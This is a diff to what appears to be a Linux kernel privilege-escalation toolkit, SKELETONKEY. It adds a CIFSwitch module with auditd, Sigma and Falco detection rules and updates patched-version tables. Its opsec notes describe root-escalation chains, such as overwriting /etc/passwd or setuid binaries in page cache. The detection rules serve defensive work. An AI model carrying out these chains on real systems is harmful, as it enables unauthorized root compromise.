||||||
|
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||||
|
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||||
|
|
||||||
|
static const char cifswitch_sigma[] =
|
||||||
|
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||||
|
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||||
|
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||||
|
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||||
|
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||||
|
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||||
|
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||||
|
" context (root), not from an unprivileged add_key.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||||
|
" non_root: {auid|expression: '>= 1000'}\n"
|
||||||
|
" condition: keyop and non_root\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||||
|
|
||||||
|
static const char cifswitch_falco[] =
|
||||||
|
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||||
|
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||||
|
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||||
|
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||||
|
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" ((evt.type in (add_key, request_key)) or\n"
|
||||||
|
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||||
|
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module cifswitch_module = {
|
||||||
|
.name = "cifswitch",
|
||||||
|
.cve = "CVE-2026-46243",
|
||||||
|
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||||
|
.family = "cifswitch",
|
||||||
|
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||||
|
.detect = cifswitch_detect,
|
||||||
|
.exploit = cifswitch_exploit,
|
||||||
|
.mitigate = cifswitch_mitigate,
|
||||||
|
.cleanup = cifswitch_cleanup,
|
||||||
|
.detect_auditd = cifswitch_auditd,
|
||||||
|
.detect_sigma = cifswitch_sigma,
|
||||||
|
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||||
|
.detect_falco = cifswitch_falco,
|
||||||
|
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_cifswitch(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&cifswitch_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||||
|
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module cifswitch_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -69,9 +69,9 @@
|
|||||||
|
|
||||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||||
{5, 4, 213},
|
{5, 4, 213},
|
||||||
{5, 10, 143},
|
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
|
||||||
{5, 15, 69},
|
{5, 15, 69},
|
||||||
{5, 18, 18},
|
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
|
||||||
{5, 19, 7},
|
{5, 19, 7},
|
||||||
{5, 20, 0}, /* mainline */
|
{5, 20, 0}, /* mainline */
|
||||||
};
|
};
|
||||||
@@ -889,6 +889,7 @@ const struct skeletonkey_module cls_route4_module = {
|
|||||||
.detect_yara = cls_route4_yara,
|
.detect_yara = cls_route4_yara,
|
||||||
.detect_falco = cls_route4_falco,
|
.detect_falco = cls_route4_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_cls_route4(void)
|
void skeletonkey_register_cls_route4(void)
|
||||||
|
|||||||
@@ -248,6 +248,7 @@ const struct skeletonkey_module copy_fail_module = {
|
|||||||
.detect_yara = copy_fail_family_yara,
|
.detect_yara = copy_fail_family_yara,
|
||||||
.detect_falco = copy_fail_family_falco,
|
.detect_falco = copy_fail_family_falco,
|
||||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||||
@@ -281,6 +282,7 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
|||||||
.detect_yara = copy_fail_family_yara,
|
.detect_yara = copy_fail_family_yara,
|
||||||
.detect_falco = copy_fail_family_falco,
|
.detect_falco = copy_fail_family_falco,
|
||||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||||
@@ -314,6 +316,7 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
|||||||
.detect_yara = copy_fail_family_yara,
|
.detect_yara = copy_fail_family_yara,
|
||||||
.detect_falco = copy_fail_family_falco,
|
.detect_falco = copy_fail_family_falco,
|
||||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||||
@@ -347,6 +350,7 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
|||||||
.detect_yara = copy_fail_family_yara,
|
.detect_yara = copy_fail_family_yara,
|
||||||
.detect_falco = copy_fail_family_falco,
|
.detect_falco = copy_fail_family_falco,
|
||||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||||
@@ -380,6 +384,7 @@ const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
|||||||
.detect_yara = copy_fail_family_yara,
|
.detect_yara = copy_fail_family_yara,
|
||||||
.detect_falco = copy_fail_family_falco,
|
.detect_falco = copy_fail_family_falco,
|
||||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ----- Family registration ----- */
|
/* ----- Family registration ----- */
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
|||||||
{3, 16, 38},
|
{3, 16, 38},
|
||||||
{3, 18, 43},
|
{3, 18, 43},
|
||||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||||
{4, 7, 10},
|
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
|
||||||
{4, 8, 3},
|
{4, 8, 3},
|
||||||
{4, 9, 0}, /* mainline fix */
|
{4, 9, 0}, /* mainline fix */
|
||||||
};
|
};
|
||||||
@@ -434,6 +434,7 @@ const struct skeletonkey_module dirty_cow_module = {
|
|||||||
.detect_yara = dirty_cow_yara,
|
.detect_yara = dirty_cow_yara,
|
||||||
.detect_falco = dirty_cow_falco,
|
.detect_falco = dirty_cow_falco,
|
||||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_dirty_cow(void)
|
void skeletonkey_register_dirty_cow(void)
|
||||||
|
|||||||
@@ -204,7 +204,7 @@ static void revert_passwd_page_cache(void)
|
|||||||
* - mainline (≥ 5.17) is patched
|
* - mainline (≥ 5.17) is patched
|
||||||
*/
|
*/
|
||||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||||
{5, 10, 102}, /* 5.10.x backport */
|
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
|
||||||
{5, 15, 25}, /* 5.15.x backport */
|
{5, 15, 25}, /* 5.15.x backport */
|
||||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||||
@@ -523,6 +523,7 @@ const struct skeletonkey_module dirty_pipe_module = {
|
|||||||
.detect_yara = dirty_pipe_yara,
|
.detect_yara = dirty_pipe_yara,
|
||||||
.detect_falco = dirty_pipe_falco,
|
.detect_falco = dirty_pipe_falco,
|
||||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_dirty_pipe(void)
|
void skeletonkey_register_dirty_pipe(void)
|
||||||
|
|||||||
@@ -667,14 +667,18 @@ static int dd_active_probe(void)
|
|||||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||||
*
|
*
|
||||||
* The detect logic therefore is:
|
* The detect logic therefore is:
|
||||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
* - kernel < 6.16.1 → SKELETONKEY_OK (predates the rxgk RESPONSE bug)
|
||||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
* - kernel in range → consult kernel_range for backport coverage
|
||||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
* - --active → empirical override
|
||||||
* or weird distro rebuilds the version check missed)
|
*
|
||||||
|
* Per NVD CVE-2026-31635: bug introduced in 6.16.1 stable; vulnerable
|
||||||
|
* range is 6.16.1–6.18.22 + 6.19.0–6.19.12 + 7.0-rc1..rc7. Fixed at
|
||||||
|
* 6.18.23 backport, 6.19.13 backport, 7.0 stable.
|
||||||
*/
|
*/
|
||||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||||
|
{6, 18, 23}, /* 6.18.x stable backport */
|
||||||
{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
|
{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
|
||||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
{7, 0, 0}, /* mainline fix landed before 7.0 stable */
|
||||||
};
|
};
|
||||||
static const struct kernel_range dirtydecrypt_range = {
|
static const struct kernel_range dirtydecrypt_range = {
|
||||||
.patched_from = dirtydecrypt_patched_branches,
|
.patched_from = dirtydecrypt_patched_branches,
|
||||||
@@ -697,11 +701,12 @@ static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
/* Predates the bug: rxgk RESPONSE-handling bug entered at 6.16.1
|
||||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
* stable per NVD. Earlier 6.x kernels don't have the buggy code. */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 16, 1)) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
"RESPONSE bug introduced in 6.16.1 — not applicable\n",
|
||||||
v->release);
|
v->release);
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -1006,6 +1011,7 @@ const struct skeletonkey_module dirtydecrypt_module = {
|
|||||||
.detect_yara = dd_yara,
|
.detect_yara = dd_yara,
|
||||||
.detect_falco = dd_falco,
|
.detect_falco = dd_falco,
|
||||||
.opsec_notes = "Forked child runs unshare(CLONE_NEWUSER|CLONE_NEWNET); creates AF_RXRPC socket; builds an rxgk XDR token via add_key(SYS_add_key, 'rxrpc'); sets up loopback UDP server + rxrpc client; forges rxrpc DATA packets and fires 10000+ splice-based writes in a sliding window to overwrite a target setuid binary's page cache with a 120-byte ET_DYN ELF (setuid(0) + execve('/bin/sh')). Payload is never written to disk. Audit-visible via socket(AF_RXRPC) (a0=33) + add_key('rxrpc') + splice() bursts. Records target path to /tmp/skeletonkey-dirtydecrypt.target. Cleanup callback evicts candidate targets (/usr/bin/su et al) via drop_caches.",
|
.opsec_notes = "Forked child runs unshare(CLONE_NEWUSER|CLONE_NEWNET); creates AF_RXRPC socket; builds an rxgk XDR token via add_key(SYS_add_key, 'rxrpc'); sets up loopback UDP server + rxrpc client; forges rxrpc DATA packets and fires 10000+ splice-based writes in a sliding window to overwrite a target setuid binary's page cache with a 120-byte ET_DYN ELF (setuid(0) + execve('/bin/sh')). Payload is never written to disk. Audit-visible via socket(AF_RXRPC) (a0=33) + add_key('rxrpc') + splice() bursts. Records target path to /tmp/skeletonkey-dirtydecrypt.target. Cleanup callback evicts candidate targets (/usr/bin/su et al) via drop_caches.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_dirtydecrypt(void)
|
void skeletonkey_register_dirtydecrypt(void)
|
||||||
|
|||||||
@@ -289,6 +289,7 @@ const struct skeletonkey_module entrybleed_module = {
|
|||||||
.detect_yara = NULL,
|
.detect_yara = NULL,
|
||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
||||||
|
.arch_support = "x86_64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_entrybleed(void)
|
void skeletonkey_register_entrybleed(void)
|
||||||
|
|||||||
@@ -903,11 +903,26 @@ static int fg_active_probe(void)
|
|||||||
* - --active → empirical override (catches distro silent
|
* - --active → empirical override (catches distro silent
|
||||||
* backports and unfixed 7.0.x ≤ 7.0.8)
|
* backports and unfixed 7.0.x ≤ 7.0.8)
|
||||||
*
|
*
|
||||||
* Stable-branch backports for 5.10 / 6.1 / 6.12 — when they ship —
|
* Per NVD CVE-2026-46300 (queried 2026-05-28): SKBFL_SHARED_FRAG was
|
||||||
* extend the table with the matching {major, minor, patch} entry.
|
* introduced at 5.11; the marker-propagation bug is present 5.11+. The
|
||||||
|
* fix was backported across every active stable branch:
|
||||||
|
*
|
||||||
|
* 5.15-LTS: vulnerable 5.15.0–5.15.207, fixed 5.15.208+
|
||||||
|
* 6.1-LTS: vulnerable 5.16.0–6.1.173, fixed 6.1.174+
|
||||||
|
* 6.6-LTS: vulnerable 6.2.0–6.6.140, fixed 6.6.141+
|
||||||
|
* 6.12-LTS: vulnerable 6.7.0–6.12.90, fixed 6.12.91+
|
||||||
|
* 6.18-LTS: vulnerable 6.13.0–6.18.32, fixed 6.18.33+
|
||||||
|
* 7.0: vulnerable 6.19.0–7.0.9, fixed 7.0.10+
|
||||||
|
* 7.1-rcN: still vulnerable (rc1..rc4 at time of writing)
|
||||||
*/
|
*/
|
||||||
static const struct kernel_patched_from fragnesia_patched_branches[] = {
|
static const struct kernel_patched_from fragnesia_patched_branches[] = {
|
||||||
{7, 0, 9}, /* mainline + 7.0.x stable: fix lands at 7.0.9 */
|
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
|
||||||
|
{5, 15, 208}, /* 5.15-LTS backport */
|
||||||
|
{6, 1, 174}, /* 6.1-LTS backport */
|
||||||
|
{6, 6, 141}, /* 6.6-LTS backport */
|
||||||
|
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
|
||||||
|
{6, 18, 33}, /* 6.18-LTS backport */
|
||||||
|
{7, 0, 9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
|
||||||
};
|
};
|
||||||
static const struct kernel_range fragnesia_range = {
|
static const struct kernel_range fragnesia_range = {
|
||||||
.patched_from = fragnesia_patched_branches,
|
.patched_from = fragnesia_patched_branches,
|
||||||
@@ -930,6 +945,17 @@ static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Predates the bug: SKBFL_SHARED_FRAG marker only exists from 5.11
|
||||||
|
* onwards; older kernels don't have the buggy skb_try_coalesce()
|
||||||
|
* code path. */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] fragnesia: kernel %s predates the "
|
||||||
|
"SKBFL_SHARED_FRAG marker added in 5.11 — not "
|
||||||
|
"applicable\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
if (!ctx->host->unprivileged_userns_allowed) {
|
if (!ctx->host->unprivileged_userns_allowed) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] fragnesia: unprivileged user "
|
fprintf(stderr, "[i] fragnesia: unprivileged user "
|
||||||
@@ -1211,6 +1237,7 @@ const struct skeletonkey_module fragnesia_module = {
|
|||||||
.detect_yara = fg_yara,
|
.detect_yara = fg_yara,
|
||||||
.detect_falco = fg_falco,
|
.detect_falco = fg_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + socket(AF_ALG, SOCK_SEQPACKET) for an AES-GCM keystream table; NETLINK_XFRM setsockopt to install ESP-in-TCP state; TCP_ULP setsockopt on a loopback connection; splice() from a carrier setuid binary (/usr/bin/su or /bin/su) into the TCP socket. Artifacts: /tmp/skeletonkey-fragnesia-probe-XXXXXX (mkstemp, unlinked after probe) and /tmp/skeletonkey-fragnesia.target. Audit-visible via socket(AF_ALG) (38), NETLINK_XFRM (6) writes, TCP_ULP setsockopt, splice() of setuid binary. No external network (loopback). Cleanup callback unlinks /tmp files and evicts the carrier from page cache.",
|
